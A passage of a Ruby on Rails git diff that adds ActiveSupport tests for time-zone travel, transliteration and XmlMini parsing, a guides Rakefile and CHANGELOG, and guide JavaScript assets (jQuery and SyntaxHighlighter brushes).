+    travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
     assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
+    travel_back
+  end
+
+  def test_tomorrow
+    travel_to(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+    assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+    travel_to(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
+    assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+    travel_to(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+    assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+    travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
+    assert_equal Date.new(2000, 1, 3), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+    travel_back
+  end
+
+  def test_yesterday
+    travel_to(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+    assert_equal Date.new(1999, 12, 30), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+    travel_to(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
+    assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+    travel_to(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+    assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+    travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
+    assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+    travel_back
+  end
+
+  def test_travel_to_a_date
+    with_env_tz do
+      Time.use_zone('Hawaii') do
+        date = Date.new(2014, 2, 18)
+        time = date.midnight
+
+        travel_to date do
+          assert_equal date, Date.current
+          assert_equal time, Time.current
+        end
+      end
+    end
+  end
+
+  def test_travel_to_travels_back_and_reraises_if_the_block_raises
+    ts = Time.current - 1.second
+
+    travel_to ts do
+      raise
+    end
+
+    flunk # ensure travel_to re-raises
+  rescue
+    assert_not_equal ts, Time.current
   end
 
   def test_local
diff --git a/activesupport/test/transliterate_test.rb b/activesupport/test/transliterate_test.rb
index ce91c44..e0f85f4 100644
--- a/activesupport/test/transliterate_test.rb
+++ b/activesupport/test/transliterate_test.rb
@@ -3,7 +3,6 @@ require 'abstract_unit'
 require 'active_support/inflector/transliterate'
 
 class TransliterateTest < ActiveSupport::TestCase
-
   def test_transliterate_should_not_change_ascii_chars
     (0..127).each do |byte|
       char = [byte].pack("U")
@@ -24,12 +23,13 @@ class TransliterateTest < ActiveSupport::TestCase
   def test_transliterate_should_work_with_custom_i18n_rules_and_uncomposed_utf8
     char = [117, 776].pack("U*") # "ü" as ASCII "u" plus COMBINING DIAERESIS
     I18n.backend.store_translations(:de, :i18n => {:transliterate => {:rule => {"ü" => "ue"}}})
-    I18n.locale = :de
+    default_locale, I18n.locale = I18n.locale, :de
     assert_equal "ue", ActiveSupport::Inflector.transliterate(char)
+  ensure
+    I18n.locale = default_locale
   end
 
   def test_transliterate_should_allow_a_custom_replacement_char
     assert_equal "a*b", ActiveSupport::Inflector.transliterate("a索b", "*")
   end
-
 end
diff --git a/activesupport/test/xml_mini/nokogirisax_engine_test.rb b/activesupport/test/xml_mini/nokogirisax_engine_test.rb
index 1807f92..4f078f3 100644
--- a/activesupport/test/xml_mini/nokogirisax_engine_test.rb
+++ b/activesupport/test/xml_mini/nokogirisax_engine_test.rb
@@ -56,9 +56,9 @@ class NokogiriSAXEngineTest < ActiveSupport::TestCase
     end
   end
 
-  def test_setting_nokogiri_as_backend
-    XmlMini.backend = 'Nokogiri'
-    assert_equal XmlMini_Nokogiri, XmlMini.backend
+  def test_setting_nokogirisax_as_backend
+    XmlMini.backend = 'NokogiriSAX'
+    assert_equal XmlMini_NokogiriSAX, XmlMini.backend
   end
 
   def test_blank_returns_empty_hash
diff --git a/activesupport/test/xml_mini_test.rb b/activesupport/test/xml_mini_test.rb
index a025279..753effb 100644
--- a/activesupport/test/xml_mini_test.rb
+++ b/activesupport/test/xml_mini_test.rb
@@ -106,7 +106,11 @@ module XmlMiniTest
     module Nokogiri end
 
     setup do
-      @xml = ActiveSupport::XmlMini
+      @xml, @default_backend = ActiveSupport::XmlMini, ActiveSupport::XmlMini.backend
+    end
+
+    teardown do
+      ActiveSupport::XmlMini.backend = @default_backend
     end
 
     test "#with_backend should switch backend and then switch back" do
@@ -135,7 +139,11 @@ module XmlMiniTest
     module LibXML end
 
     setup do
-      @xml = ActiveSupport::XmlMini
+      @xml, @default_backend = ActiveSupport::XmlMini, ActiveSupport::XmlMini.backend
+    end
+
+    teardown do
+      ActiveSupport::XmlMini.backend = @default_backend
     end
 
     test "#with_backend should be thread-safe" do
@@ -161,4 +169,128 @@ module XmlMiniTest
       end
     end
   end
+
+  class ParsingTest < ActiveSupport::TestCase
+    def setup
+      @parsing = ActiveSupport::XmlMini::PARSING
+    end
+
+    def test_symbol
+      parser = @parsing['symbol']
+      assert_equal :symbol, parser.call('symbol')
+      assert_equal :symbol, parser.call(:symbol)
+      assert_equal :'123', parser.call(123)
+      assert_raises(ArgumentError) { parser.call(Date.new(2013,11,12,02,11)) }
+    end
+
+    def test_date
+      parser = @parsing['date']
+      assert_equal Date.new(2013,11,12), parser.call("2013-11-12T0211Z")
+      assert_raises(TypeError) { parser.call(1384190018) }
+      assert_raises(ArgumentError) { parser.call("not really a date") }
+    end
+
+    def test_datetime
+      parser = @parsing['datetime']
+      assert_equal Time.new(2013,11,12,02,11,00,0), parser.call("2013-11-12T02:11:00Z")
+      assert_equal DateTime.new(2013,11,12), parser.call("2013-11-12T0211Z")
+      assert_equal DateTime.new(2013,11,12,02,11), parser.call("2013-11-12T02:11Z")
+      assert_equal DateTime.new(2013,11,12,02,11), parser.call("2013-11-12T11:11+9")
+      assert_raises(ArgumentError) { parser.call("1384190018") }
+    end
+
+    def test_integer
+      parser = @parsing['integer']
+      assert_equal 123, parser.call(123)
+      assert_equal 123, parser.call(123.003)
+      assert_equal 123, parser.call("123")
+      assert_equal 0, parser.call("")
+      assert_raises(ArgumentError) { parser.call(Date.new(2013,11,12,02,11)) }
+    end
+
+    def test_float
+      parser = @parsing['float']
+      assert_equal 123, parser.call("123")
+      assert_equal 123.003, parser.call("123.003")
+      assert_equal 123.0, parser.call("123,003")
+      assert_equal 0.0, parser.call("")
+      assert_equal 123, parser.call(123)
+      assert_equal 123.05, parser.call(123.05)
+      assert_raises(ArgumentError) { parser.call(Date.new(2013,11,12,02,11)) }
+    end
+
+    def test_decimal
+      parser = @parsing['decimal']
+      assert_equal 123, parser.call("123")
+      assert_equal 123.003, parser.call("123.003")
+      assert_equal 123.0, parser.call("123,003")
+      assert_equal 0.0, parser.call("")
+      assert_equal 123, parser.call(123)
+      assert_raises(ArgumentError) { parser.call(123.04) }
+      assert_raises(ArgumentError) { parser.call(Date.new(2013,11,12,02,11)) }
+    end
+
+    def test_boolean
+      parser = @parsing['boolean']
+      [1, true, "1"].each do |value|
+        assert parser.call(value)
+      end
+
+      [0, false, "0"].each do |value|
+        assert_not parser.call(value)
+      end
+    end
+
+    def test_string
+      parser = @parsing['string']
+      assert_equal "123", parser.call(123)
+      assert_equal "123", parser.call("123")
+      assert_equal "[]", parser.call("[]")
+      assert_equal "[]", parser.call([])
+      assert_equal "{}", parser.call({})
+      assert_raises(ArgumentError) { parser.call(Date.new(2013,11,12,02,11)) }
+    end
+
+    def test_yaml
+      yaml = <<YAML
+product:
+  - sku         : BL394D
+    quantity    : 4
+    description : Basketball
+YAML
+      expected = {
+        "product"=> [
+          {"sku"=>"BL394D", "quantity"=>4, "description"=>"Basketball"}
+        ]
+      }
+      parser = @parsing['yaml']
+      assert_equal(expected, parser.call(yaml))
+      assert_equal({1 => 'test'}, parser.call({1 => 'test'}))
+      assert_equal({"1 => 'test'"=>nil}, parser.call("{1 => 'test'}"))
+    end
+
+    def test_base64Binary_and_binary
+      base64 = <<BASE64
+TWFuIGlzIGRpc3Rpbmd1aXNoZWQsIG5vdCBvbmx5IGJ5IGhpcyByZWFzb24sIGJ1dCBieSB0aGlz
+IHNpbmd1bGFyIHBhc3Npb24gZnJvbSBvdGhlciBhbmltYWxzLCB3aGljaCBpcyBhIGx1c3Qgb2Yg
+dGhlIG1pbmQsIHRoYXQgYnkgYSBwZXJzZXZlcmFuY2Ugb2YgZGVsaWdodCBpbiB0aGUgY29udGlu
+dWVkIGFuZCBpbmRlZmF0aWdhYmxlIGdlbmVyYXRpb24gb2Yga25vd2xlZGdlLCBleGNlZWRzIHRo
+ZSBzaG9ydCB2ZWhlbWVuY2Ugb2YgYW55IGNhcm5hbCBwbGVhc3VyZS4=
+BASE64
+      expected_base64 = <<EXPECTED
+Man is distinguished, not only by his reason, but by this singular passion from
+other animals, which is a lust of the mind, that by a perseverance of delight
+in the continued and indefatigable generation of knowledge, exceeds the short
+vehemence of any carnal pleasure.
+EXPECTED
+
+      parser = @parsing['base64Binary']
+      assert_equal expected_base64.gsub(/\n/," ").strip, parser.call(base64)
+      parser.call("NON BASE64 INPUT")
+
+      parser = @parsing['binary']
+      assert_equal expected_base64.gsub(/\n/," ").strip, parser.call(base64, 'encoding' => 'base64')
+      assert_equal "IGNORED INPUT", parser.call("IGNORED INPUT", {})
+    end
+  end
 end
diff --git a/ci/travis.rb b/ci/travis.rb
index 9029c3f..7e68993 100755
--- a/ci/travis.rb
+++ b/ci/travis.rb
@@ -20,7 +20,8 @@ class Build
     'am'   => 'actionmailer',
     'amo'  => 'activemodel',
     'as'   => 'activesupport',
-    'ar'   => 'activerecord'
+    'ar'   => 'activerecord',
+    'av'   => 'actionview'
   }
 
   attr_reader :component, :options
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/guides/.document
similarity index 100%
copy from actionpack/test/fixtures/digestor/events/_event.html.erb
copy to guides/.document
diff --git a/guides/CHANGELOG.md b/guides/CHANGELOG.md
new file mode 100644
index 0000000..bd90aea
--- /dev/null
+++ b/guides/CHANGELOG.md
@@ -0,0 +1,41 @@
+## Rails 4.1.4 (July 2, 2014) ##
+
+*   No changes.
+
+
+## Rails 4.1.3 (July 2, 2014) ##
+
+*   No changes.
+
+
+## Rails 4.1.2 (June 26, 2014) ##
+
+* Update all Rails 4.1.0 references to 4.1.1 within the guides and code.
+
+    *John Kelly Ferguson*
+
+*   Updates the maintenance policy to match the latest versions of Rails.
+
+    *Matias Korhonen*
+
+
+## Rails 4.1.1 (May 6, 2014) ##
+
+*   No changes.
+
+
+## Rails 4.1.0 (April 8, 2014) ##
+
+*   Fixed missing line and shadow on service pages(404, 422, 500).
+
+    *Dmitry Korotkov*
+
+*   Removed repetitive th tags. Instead of them added one th tag with a colspan attribute.
+
+    *Sıtkı Bağdat*
+
+*   Added the Rails maintenance policy to the guides.
+
+    *Matias Korhonen*
+
+Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/guides/CHANGELOG.md) for previous changes.
diff --git a/guides/Rakefile b/guides/Rakefile
new file mode 100644
index 0000000..d6dd950
--- /dev/null
+++ b/guides/Rakefile
@@ -0,0 +1,77 @@
+namespace :guides do
+
+  desc 'Generate guides (for authors), use ONLY=foo to process just "foo.md"'
+  task :generate => 'generate:html'
+
+  namespace :generate do
+
+    desc "Generate HTML guides"
+    task :html do
+      ENV["WARN_BROKEN_LINKS"] = "1" # authors can't disable this
+      ruby "rails_guides.rb"
+    end
+
+    desc "Generate .mobi file. The kindlegen executable must be in your PATH. You can get it for free from http://www.amazon.com/kindlepublishing"
+    task :kindle do
+      unless `kindlerb -v 2> /dev/null` =~ /kindlerb 0.1.1/  
+        abort "Please `gem install kindlerb`"
+      end
+      unless `convert` =~ /convert/  
+        abort "Please install ImageMagick`"
+      end
+      ENV['KINDLE'] = '1'
+      Rake::Task['guides:generate:html'].invoke
+    end
+  end
+
+  # Validate guides -------------------------------------------------------------------------
+  desc 'Validate guides, use ONLY=foo to process just "foo.html"'
+  task :validate do
+    ruby "w3c_validator.rb"
+  end
+
+  desc "Show help"
+  task :help do
+    puts <<-help
+
+Guides are taken from the source directory, and the resulting HTML goes into the
+output directory. Assets are stored under files, and copied to output/files as
+part of the generation process.
+
+All this process is handled via rake tasks, here's a full list of them:
+
+#{%x[rake -T]}
+Some arguments may be passed via environment variables:
+
+  WARNINGS=1
+    Internal links (anchors) are checked, also detects duplicated IDs.
+
+  ALL=1
+    Force generation of all guides.
+
+  ONLY=name
+    Useful if you want to generate only one or a set of guides.
+
+    Generate only association_basics.html:
+      ONLY=assoc
+
+    Separate many using commas:
+      ONLY=assoc,migrations
+
+  GUIDES_LANGUAGE
+    Use it when you want to generate translated guides in
+    source/<GUIDES_LANGUAGE> folder (such as source/es)
+
+  EDGE=1
+    Indicate generated guides should be marked as edge.
+
+Examples:
+  $ rake guides:generate ALL=1
+  $ rake guides:generate EDGE=1
+  $ rake guides:generate:kindle EDGE=1
+  $ rake guides:generate GUIDES_LANGUAGE=es
+    help
+  end
+end
+
+task :default => 'guides:help'
diff --git a/guides/assets/images/akshaysurve.jpg b/guides/assets/images/akshaysurve.jpg
new file mode 100644
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diff --git a/guides/assets/images/belongs_to.png b/guides/assets/images/belongs_to.png
new file mode 100644
index 0000000..43c963f
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diff --git a/guides/assets/images/book_icon.gif b/guides/assets/images/book_icon.gif
new file mode 100644
index 0000000..efc5e06
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diff --git a/guides/assets/images/bullet.gif b/guides/assets/images/bullet.gif
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diff --git a/guides/assets/images/chapters_icon.gif b/guides/assets/images/chapters_icon.gif
new file mode 100644
index 0000000..a61c28c
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diff --git a/guides/assets/images/check_bullet.gif b/guides/assets/images/check_bullet.gif
new file mode 100644
index 0000000..bd54ef6
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diff --git a/guides/assets/images/credits_pic_blank.gif b/guides/assets/images/credits_pic_blank.gif
new file mode 100644
index 0000000..a6b335d
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diff --git a/guides/assets/images/csrf.png b/guides/assets/images/csrf.png
new file mode 100644
index 0000000..a8123d4
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diff --git a/guides/assets/images/edge_badge.png b/guides/assets/images/edge_badge.png
new file mode 100644
index 0000000..a3c1843
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diff --git a/guides/assets/images/favicon.ico b/guides/assets/images/favicon.ico
new file mode 100644
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diff --git a/guides/assets/images/feature_tile.gif b/guides/assets/images/feature_tile.gif
new file mode 100644
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diff --git a/guides/assets/images/footer_tile.gif b/guides/assets/images/footer_tile.gif
new file mode 100644
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diff --git a/guides/assets/images/fxn.png b/guides/assets/images/fxn.png
new file mode 100644
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diff --git a/guides/assets/images/getting_started/article_with_comments.png b/guides/assets/images/getting_started/article_with_comments.png
new file mode 100644
index 0000000..117a78a
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diff --git a/guides/assets/images/getting_started/challenge.png b/guides/assets/images/getting_started/challenge.png
new file mode 100644
index 0000000..5b88a84
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diff --git a/guides/assets/images/getting_started/confirm_dialog.png b/guides/assets/images/getting_started/confirm_dialog.png
new file mode 100644
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diff --git a/guides/assets/images/i18n/demo_untranslated.png b/guides/assets/images/i18n/demo_untranslated.png
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diff --git a/guides/assets/images/icons/README b/guides/assets/images/icons/README
new file mode 100644
index 0000000..09da77f
--- /dev/null
+++ b/guides/assets/images/icons/README
@@ -0,0 +1,5 @@
+Replaced the plain DocBook XSL admonition icons with Jimmac's DocBook
+icons (http://jimmac.musichall.cz/ikony.php3). I dropped transparency
+from the Jimmac icons to get round MS IE and FOP PNG incompatibilities.
+
+Stuart Rackham
diff --git a/guides/assets/images/icons/callouts/1.png b/guides/assets/images/icons/callouts/1.png
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diff --git a/guides/assets/images/nav_arrow.gif b/guides/assets/images/nav_arrow.gif
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diff --git a/guides/assets/images/session_fixation.png b/guides/assets/images/session_fixation.png
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diff --git a/guides/assets/images/tab_grey.gif b/guides/assets/images/tab_grey.gif
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diff --git a/guides/assets/images/tab_info.gif b/guides/assets/images/tab_info.gif
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diff --git a/guides/assets/images/tab_note.gif b/guides/assets/images/tab_note.gif
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diff --git a/guides/assets/images/tab_red.gif b/guides/assets/images/tab_red.gif
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diff --git a/guides/assets/images/tab_yellow.gif b/guides/assets/images/tab_yellow.gif
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diff --git a/guides/assets/images/tab_yellow.png b/guides/assets/images/tab_yellow.png
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diff --git a/guides/assets/images/vijaydev.jpg b/guides/assets/images/vijaydev.jpg
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diff --git a/guides/assets/javascripts/guides.js b/guides/assets/javascripts/guides.js
new file mode 100644
index 0000000..e4d25df
--- /dev/null
+++ b/guides/assets/javascripts/guides.js
@@ -0,0 +1,53 @@
+$.fn.selectGuide = function(guide) {
+  $("select", this).val(guide);
+};
+
+var guidesIndex = {
+  bind: function() {
+    var currentGuidePath = window.location.pathname;
+    var currentGuide = currentGuidePath.substring(currentGuidePath.lastIndexOf("/")+1);
+    $(".guides-index-small").
+      on("change", "select", guidesIndex.navigate).
+      selectGuide(currentGuide);
+    $(document).on("click", ".more-info-button", function(e){
+      e.stopPropagation();
+      if ($(".more-info-links").is(":visible")) {
+        $(".more-info-links").addClass("s-hidden").unwrap();
+      } else {
+        $(".more-info-links").wrap("<div class='more-info-container'></div>").removeClass("s-hidden");
+      }
+    });
+    $("#guidesMenu").on("click", function(e) {
+      $("#guides").toggle();
+      return false;
+    });
+    $(document).on("click", function(e){
+      e.stopPropagation();
+      var $button = $(".more-info-button");
+      var element;
+
+      // Cross browser find the element that had the event
+      if (e.target) element = e.target;
+      else if (e.srcElement) element = e.srcElement;
+
+      // Defeat the older Safari bug:
+      // http://www.quirksmode.org/js/events_properties.html
+      if (element.nodeType === 3) element = element.parentNode;
+
+      var $element = $(element);
+
+      var $container = $element.parents(".more-info-container");
+
+      // We've captured a click outside the popup
+      if($container.length === 0){
+        $container = $button.next(".more-info-container");
+        $container.find(".more-info-links").addClass("s-hidden").unwrap();
+      }
+    });
+  },
+  navigate: function(e){
+    var $list = $(e.target);
+    var url = $list.val();
+    window.location = url;
+  }
+};
diff --git a/guides/assets/javascripts/jquery.min.js b/guides/assets/javascripts/jquery.min.js
new file mode 100644
index 0000000..93adea1
--- /dev/null
+++ b/guides/assets/javascripts/jquery.min.js
@@ -0,0 +1,4 @@
+/*! jQuery v1.7.2 jquery.com | jquery.org/license */
+(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.bod [...]
+a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")};f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){ [...]
+.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagNa [...]
\ No newline at end of file
diff --git a/guides/assets/javascripts/responsive-tables.js b/guides/assets/javascripts/responsive-tables.js
new file mode 100755
index 0000000..8554a13
--- /dev/null
+++ b/guides/assets/javascripts/responsive-tables.js
@@ -0,0 +1,43 @@
+$(document).ready(function() {
+  var switched = false;
+  $("table").not(".syntaxhighlighter").addClass("responsive");
+  var updateTables = function() {
+    if (($(window).width() < 767) && !switched ){
+      switched = true;
+      $("table.responsive").each(function(i, element) {
+        splitTable($(element));
+      });
+      return true;
+    }
+    else if (switched && ($(window).width() > 767)) {
+      switched = false;
+      $("table.responsive").each(function(i, element) {
+        unsplitTable($(element));
+      });
+    }
+  };
+   
+  $(window).load(updateTables);
+  $(window).bind("resize", updateTables);
+   
+	
+	function splitTable(original)
+	{
+		original.wrap("<div class='table-wrapper' />");
+		
+		var copy = original.clone();
+		copy.find("td:not(:first-child), th:not(:first-child)").css("display", "none");
+		copy.removeClass("responsive");
+		
+		original.closest(".table-wrapper").append(copy);
+		copy.wrap("<div class='pinned' />");
+		original.wrap("<div class='scrollable' />");
+	}
+	
+	function unsplitTable(original) {
+    original.closest(".table-wrapper").find(".pinned").remove();
+    original.unwrap();
+    original.unwrap();
+	}
+
+});
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushAS3.js b/guides/assets/javascripts/syntaxhighlighter/shBrushAS3.js
new file mode 100644
index 0000000..8aa3ed2
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushAS3.js
@@ -0,0 +1,59 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Created by Peter Atoria @ http://iAtoria.com
+	
+		var inits 	 =  'class interface function package';
+	
+		var keywords =	'-Infinity ...rest Array as AS3 Boolean break case catch const continue Date decodeURI ' + 
+						'decodeURIComponent default delete do dynamic each else encodeURI encodeURIComponent escape ' + 
+						'extends false final finally flash_proxy for get if implements import in include Infinity ' + 
+						'instanceof int internal is isFinite isNaN isXMLName label namespace NaN native new null ' + 
+						'Null Number Object object_proxy override parseFloat parseInt private protected public ' + 
+						'return set static String super switch this throw true try typeof uint undefined unescape ' + 
+						'use void while with'
+						;
+	
+		this.regexList = [
+			{ regex: SyntaxHighlighter.regexLib.singleLineCComments,	css: 'comments' },		// one line comments
+			{ regex: SyntaxHighlighter.regexLib.multiLineCComments,		css: 'comments' },		// multiline comments
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,		css: 'string' },		// double quoted strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },		// single quoted strings
+			{ regex: /\b([\d]+(\.[\d]+)?|0x[a-f0-9]+)\b/gi,				css: 'value' },			// numbers
+			{ regex: new RegExp(this.getKeywords(inits), 'gm'),			css: 'color3' },		// initializations
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),		css: 'keyword' },		// keywords
+			{ regex: new RegExp('var', 'gm'),							css: 'variable' },		// variable
+			{ regex: new RegExp('trace', 'gm'),							css: 'color1' }			// trace
+			];
+	
+		this.forHtmlScript(SyntaxHighlighter.regexLib.scriptScriptTags);
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['actionscript3', 'as3'];
+
+	SyntaxHighlighter.brushes.AS3 = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushAppleScript.js b/guides/assets/javascripts/syntaxhighlighter/shBrushAppleScript.js
new file mode 100644
index 0000000..d40bbd7
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushAppleScript.js
@@ -0,0 +1,75 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// AppleScript brush by David Chambers
+		// http://davidchambersdesign.com/
+		var keywords   = 'after before beginning continue copy each end every from return get global in local named of set some that the then times to where whose with without';
+		var ordinals   = 'first second third fourth fifth sixth seventh eighth ninth tenth last front back middle';
+		var specials   = 'activate add alias AppleScript ask attachment boolean class constant delete duplicate empty exists false id integer list make message modal modified new no paragraph pi properties quit real record remove rest result reveal reverse run running save string true word yes';
+
+		this.regexList = [
+
+			{ regex: /(--|#).*$/gm,
+			    css: 'comments' },
+
+			{ regex: /\(\*(?:[\s\S]*?\(\*[\s\S]*?\*\))*[\s\S]*?\*\)/gm, // support nested comments
+			    css: 'comments' },
+
+			{ regex: /"[\s\S]*?"/gm,
+			    css: 'string' },
+
+			{ regex: /(?:,|:|¬|'s\b|\(|\)|\{|\}|«|\b\w*»)/g,
+			    css: 'color1' },
+
+			{ regex: /(-)?(\d)+(\.(\d)?)?(E\+(\d)+)?/g, // numbers
+			    css: 'color1' },
+
+			{ regex: /(?:&(amp;|gt;|lt;)?|=|� |>|<|≥|>=|≤|<=|\*|\+|-|\/|÷|\^)/g,
+			    css: 'color2' },
+
+			{ regex: /\b(?:and|as|div|mod|not|or|return(?!\s&)(ing)?|equals|(is(n't| not)? )?equal( to)?|does(n't| not) equal|(is(n't| not)? )?(greater|less) than( or equal( to)?)?|(comes|does(n't| not) come) (after|before)|is(n't| not)?( in)? (back|front) of|is(n't| not)? behind|is(n't| not)?( (in|contained by))?|does(n't| not) contain|contain(s)?|(start|begin|end)(s)? with|((but|end) )?(consider|ignor)ing|prop(erty)?|(a )?ref(erence)?( to)?|repeat (until|while|with)|((end|exit) )?repeat|((else| [...]
+			    css: 'keyword' },
+
+			{ regex: /\b\d+(st|nd|rd|th)\b/g, // ordinals
+			    css: 'keyword' },
+
+			{ regex: /\b(?:about|above|against|around|at|below|beneath|beside|between|by|(apart|aside) from|(instead|out) of|into|on(to)?|over|since|thr(ough|u)|under)\b/g,
+			    css: 'color3' },
+
+			{ regex: /\b(?:adding folder items to|after receiving|choose( ((remote )?application|color|folder|from list|URL))?|clipboard info|set the clipboard to|(the )?clipboard|entire contents|display(ing| (alert|dialog|mode))?|document( (edited|file|nib name))?|file( (name|type))?|(info )?for|giving up after|(name )?extension|quoted form|return(ed)?|second(?! item)(s)?|list (disks|folder)|text item(s| delimiters)?|(Unicode )?text|(disk )?item(s)?|((current|list) )?view|((container|key) )?wind [...]
+			    css: 'color3' },
+
+			{ regex: new RegExp(this.getKeywords(specials), 'gm'), css: 'color3' },
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' },
+			{ regex: new RegExp(this.getKeywords(ordinals), 'gm'), css: 'keyword' }
+		];
+	};
+
+	Brush.prototype = new SyntaxHighlighter.Highlighter();
+	Brush.aliases = ['applescript'];
+
+	SyntaxHighlighter.brushes.AppleScript = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushBash.js b/guides/assets/javascripts/syntaxhighlighter/shBrushBash.js
new file mode 100644
index 0000000..8c29696
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushBash.js
@@ -0,0 +1,59 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		var keywords =	'if fi then elif else for do done until while break continue case function return in eq ne ge le';
+		var commands =  'alias apropos awk basename bash bc bg builtin bzip2 cal cat cd cfdisk chgrp chmod chown chroot' +
+						'cksum clear cmp comm command cp cron crontab csplit cut date dc dd ddrescue declare df ' +
+						'diff diff3 dig dir dircolors dirname dirs du echo egrep eject enable env ethtool eval ' +
+						'exec exit expand export expr false fdformat fdisk fg fgrep file find fmt fold format ' +
+						'free fsck ftp gawk getopts grep groups gzip hash head history hostname id ifconfig ' +
+						'import install join kill less let ln local locate logname logout look lpc lpr lprint ' +
+						'lprintd lprintq lprm ls lsof make man mkdir mkfifo mkisofs mknod more mount mtools ' +
+						'mv netstat nice nl nohup nslookup open op passwd paste pathchk ping popd pr printcap ' +
+						'printenv printf ps pushd pwd quota quotacheck quotactl ram rcp read readonly renice ' +
+						'remsync rm rmdir rsync screen scp sdiff sed select seq set sftp shift shopt shutdown ' +
+						'sleep sort source split ssh strace su sudo sum symlink sync tail tar tee test time ' +
+						'times touch top traceroute trap tr true tsort tty type ulimit umask umount unalias ' +
